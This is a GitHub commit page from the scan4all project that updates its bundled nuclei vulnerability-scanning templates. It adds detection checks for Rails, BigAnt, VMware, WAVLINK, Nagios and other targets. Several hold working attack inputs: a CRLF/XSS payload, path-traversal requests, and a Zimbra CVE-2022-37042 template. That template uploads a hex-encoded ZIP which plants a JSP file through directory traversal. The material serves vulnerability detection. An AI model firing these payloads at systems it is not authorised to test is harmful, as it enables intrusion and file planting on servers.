Skip to content

Commit 725e50b

Browse files
hktalenthktalent
committed
up nuclei to latest 2022-08-17
1 parent ac65252 commit 725e50b

File tree

416 files changed

+17739
-4779
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

416 files changed

+17739
-4779
lines changed

‎.github/up.sh

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,6 @@ cat ./go.mod|grep projectdiscovery|grep -E "subfinder|nuclei|wappalyzergo"|awk '
1616

1717
cp -rf $HOME/MyWork/xray/pocs/*.yml $HOME/MyWork/scan4all/pocs_yml/ymlFiles/
1818
ls ../nuclei-templates|xargs -I % cp -rf ../nuclei-templates/% config/nuclei-templates/
19-
config/nuclei-templates
2019
echo "start 静态go.mod去除不相关依赖"
2120
go mod tidy
2221
echo "更新 vendor "

‎config/nuclei-templates/51pwn/rails6-xss.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: rails6-xss
2+
info:
3+
name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
4+
author:
5+
- l0ne1y
6+
requests:
7+
- matchers:
8+
- type: word
9+
part: body
10+
words:
11+
- javascript:alert(1)
12+
- type: status
13+
status:
14+
- 302
15+
- type: word
16+
condition: and
17+
part: header
18+
words:
19+
- 'Location: javascript:alert(22)'
20+
- text/html
21+
matchers-condition: and
22+
redirects: false
23+
path:
24+
- '{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0ajavascript:alert(22)'
25+
method: POST
26+

‎config/nuclei-templates/cves/2022/CVE-2022-23348.yaml

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
id: CVE-2022-23348
2+
3+
info:
4+
name: BigAnt Server v5.6.06 - Improper Access control
5+
author: arafatansari
6+
severity: medium
7+
description: |
8+
BigAnt Server v5.6.06 suffers from Use of Password Hash With Insufficient Computational Effort.
9+
reference:
10+
- https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-23348
12+
- http://bigant.com
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
15+
cvss-score: 5.3
16+
cve-id: CVE-2022-23348
17+
cwe-id: CWE-916
18+
metadata:
19+
shodan-query: http.html:"bigant"
20+
verified: "true"
21+
tags: cve,cve2022,bigant,unauth,exposure
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/Runtime/Data/ms_admin.php"
27+
28+
matchers-condition: and
29+
matchers:
30+
- type: word
31+
part: body
32+
words:
33+
- '"user_name";'
34+
- '"user_pwd";'
35+
- '"user_id";'
36+
condition: and
37+
38+
- type: word
39+
part: header
40+
words:
41+
- text/html
42+
43+
- type: status
44+
status:
45+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-31656.yaml

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
id: CVE-2022-31656
2+
3+
info:
4+
name: VMware - Authentication Bypass
5+
author: DhiyaneshDk
6+
severity: critical
7+
description: |
8+
VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
9+
reference:
10+
- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
11+
- https://www.vmware.com/security/advisories/VMSA-2022-0021.html
12+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656
13+
- https://nvd.nist.gov/vuln/detail/CVE-2022-31656
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 9.8
17+
cve-id: CVE-2022-31656
18+
cwe-id: CWE-287
19+
metadata:
20+
shodan-query: http.favicon.hash:-1250474341
21+
verified: "true"
22+
tags: cve,cve2022,vmware,lfi
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"
28+
29+
matchers-condition: and
30+
matchers:
31+
- type: word
32+
part: body
33+
words:
34+
- "<web-app"
35+
- "<servlet-name>"
36+
condition: and
37+
38+
- type: word
39+
part: header
40+
words:
41+
- "application/xml"
42+
43+
- type: status
44+
status:
45+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-31845.yaml

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
id: CVE-2022-31845
2+
3+
info:
4+
name: WAVLINK WN535 G3 - Information Disclosure
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
A vulnerability in live_check.shtml of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to obtain sensitive router information via execution of the exec cmd function.
9+
reference:
10+
- https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-31845
12+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2022-31845
17+
cwe-id: CWE-668
18+
metadata:
19+
shodan-query: http.html:"Wavlink"
20+
verified: "true"
21+
tags: cve,cve2022,wavlink,exposure
22+
23+
requests:
24+
- raw:
25+
- |
26+
@timeout: 10s
27+
GET /live_check.shtml HTTP/1.1
28+
Host: {{Hostname}}
29+
30+
matchers-condition: and
31+
matchers:
32+
- type: word
33+
words:
34+
- 'Model='
35+
- 'FW_Version='
36+
- 'LanIP='
37+
condition: and
38+
39+
- type: status
40+
status:
41+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-31847.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2022-31847
2+
3+
info:
4+
name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN579 X3 M79X3.V5030.180719 allows attackers to obtain sensitive router information via a crafted POST request.
9+
reference:
10+
- https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-31847
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
14+
cvss-score: 7.5
15+
cve-id: CVE-2022-31847
16+
cwe-id: CWE-668
17+
metadata:
18+
shodan-query: http.html:"Wavlink"
19+
verified: "true"
20+
tags: cve,cve2022,wavlink,exposure
21+
22+
requests:
23+
- method: GET
24+
path:
25+
- "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"
26+
27+
matchers-condition: and
28+
matchers:
29+
- type: word
30+
words:
31+
- 'Login='
32+
- 'Password='
33+
- 'Model='
34+
- 'AuthMode='
35+
condition: and
36+
37+
- type: status
38+
status:
39+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-37042.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
id: CVE-2022-37042
2+
3+
info:
4+
name: Zimbra Collaboration Suite - Unauthenticated RCE
5+
author: _0xf4n9x_,For3stCo1d
6+
severity: critical
7+
description: |
8+
Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925.
9+
reference:
10+
- https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-37042
12+
- https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
13+
- https://github.com/vnhacker1337/CVE-2022-27925-PoC
14+
metadata:
15+
fofa-query: app="zimbra-邮件系统"
16+
shodan-query: http.favicon.hash:"1624375939"
17+
tags: cve,cve2022,zimbra,rce,unauth,kev
18+
19+
requests:
20+
- raw:
21+
- |
22+
POST {{path}} HTTP/1.1
23+
Host: {{Hostname}}
24+
Accept-Encoding: gzip, deflate
25+
content-type: application/x-www-form-urlencoded
26+
27+
{{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
28+
29+
- |
30+
GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
31+
Host: {{Hostname}}
32+
33+
payloads:
34+
path:
35+
- /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
36+
- /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
37+
38+
stop-at-first-match: true
39+
req-condition: true
40+
matchers:
41+
- type: dsl
42+
dsl:
43+
- 'status_code_1 == 401'
44+
- 'status_code_2 == 200'
45+
- "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
46+
condition: and

‎config/nuclei-templates/exposed-panels/nagios-panel.yaml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
id: nagios-panel
2+
3+
info:
4+
name: Nagios Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.title:"nagios"
10+
tags: panel,nagios
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/nagios"
16+
- "{{BaseURL}}/nagios3"
17+
18+
stop-at-first-match: true
19+
matchers-condition: and
20+
matchers:
21+
- type: word
22+
part: header
23+
words:
24+
- 'Nagios Access'
25+
26+
- type: status
27+
status:
28+
- 401

‎config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: nagios-xi-panel
2+
3+
info:
4+
name: Nagios XI Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.title:"Nagios XI"
10+
tags: panel,nagios,nagios-xi
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}"
16+
- "{{BaseURL}}/nagiosxi/login.php"
17+
18+
stop-at-first-match: true
19+
redirects: true
20+
max-redirects: 2
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- 'alt="Nagios XI'
27+
- '/nagiosxi/includes'
28+
condition: or
29+
30+
- type: status
31+
status:
32+
- 200

‎config/nuclei-templates/exposed-panels/ocs-inventory-login.yaml

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,25 +2,29 @@ id: ocs-inventory-login
22

33
info:
44
name: OCS Inventory Login Panel
5-
author: pikpikcu
5+
author: pikpikcu,ritikchaddha
66
severity: info
77
metadata:
8+
verified: true
9+
shodan-query: title:"OCS Inventory"
810
fofa-query: title="OCS Inventory"
911
tags: ocs-inventory,panel
1012

1113
requests:
1214
- method: GET
1315
path:
1416
- "{{BaseURL}}"
17+
- "{{BaseURL}}/ocsreports"
1518

19+
stop-at-first-match: true
1620
redirects: true
1721
max-redirects: 2
1822
matchers-condition: and
1923
matchers:
2024
- type: word
2125
part: body
2226
words:
23-
- '<title>OCS Inventory</title>'
27+
- '<title>OCS Inventory'
2428

2529
- type: status
2630
status:

‎config/nuclei-templates/exposures/configs/behat-config.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: behat-config
2+
3+
info:
4+
name: Behat Configuration File Exposure
5+
author: DhiyaneshDK
6+
severity: low
7+
metadata:
8+
verified: true
9+
shodan-query: html:"behat.yml"
10+
reference: https://docs.behat.org/en/v2.5/guides/7.config.html
11+
tags: exposure,behat,devops,cicd
12+
13+
requests:
14+
- method: GET
15+
path:
16+
- "{{BaseURL}}/behat.yml"
17+
- "{{BaseURL}}/behat.yml.dist"
18+
19+
stop-at-first-match: true
20+
matchers-condition: and
21+
matchers:
22+
- type: word
23+
part: body
24+
words:
25+
- 'default:'
26+
- 'paths:'
27+
- 'suites:'
28+
condition: and
29+
30+
- type: status
31+
status:
32+
- 200

0 commit comments

Comments
 (0)